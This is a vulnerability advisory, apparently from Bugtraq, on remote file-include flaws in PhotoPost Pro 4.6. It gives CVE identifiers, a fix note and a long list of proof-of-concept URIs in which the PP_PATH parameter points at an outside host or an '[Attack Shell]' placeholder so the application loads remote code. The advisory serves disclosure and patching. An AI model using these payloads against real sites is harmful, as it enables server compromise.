PhotoPost Pro Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20028
Class:	Input Validation Error
CVE:	CVE-2006-4828 CVE-2006-4990
Remote:	Yes
Local:	No
Published:	Sep 14 2006 12:00AM
Updated:	Jul 06 2016 12:40PM
Credit:	Saudi Hackrz and AG- Spider are credited with the discovery of these vulnerabilities.
Vulnerable:	PhotoPost PhotoPost Pro 4.6
Not Vulnerable:

PhotoPost Pro Multiple Remote File Include Vulnerabilities

PhotoPost Pro is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhotoPost Pro 4.6 and prior versions are vulnerable; other versions may also be affected.

PhotoPost Pro Multiple Remote File Include Vulnerabilities

An attacker can exploit these vulnerabilities via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/zipndownload.php?PP_PATH=http://www.example2.COM?
http://www.example.com/[path]/addfav.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-admlog.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-approve.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-backup.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cats.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cinc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-db.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-editcfg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-inc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-index.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-modcom.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-move.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-options.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-order.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]//adm-pa.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-photo.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-purge.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-style.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-templ.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-userg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-users.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/bulkupload.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/cookies.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/comments.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/ecard.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/editphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/register.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showgallery.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showmembers.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/useralbums.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/uploadphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/search.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-menu.php?PP_PATH=[Attack Shell]?

PhotoPost Pro Multiple Remote File Include Vulnerabilities

Solution:
Reportedly, the vendor has addressed these issues in version 4.7. Symantec has not confirmed this.

PhotoPost Pro Multiple Remote File Include Vulnerabilities

References:

• PhotoPost Pro Homepage (PhotoPost)
  
• PhotoPost =>4.6 (PP_PATH) Remote File Inclusion Exploit (Saudi Hackrz)
  
• PhotoPost PHP 4.6 - 4.5 [PP_PATH] >> Remote File Include Vulnerability (AG- Spider)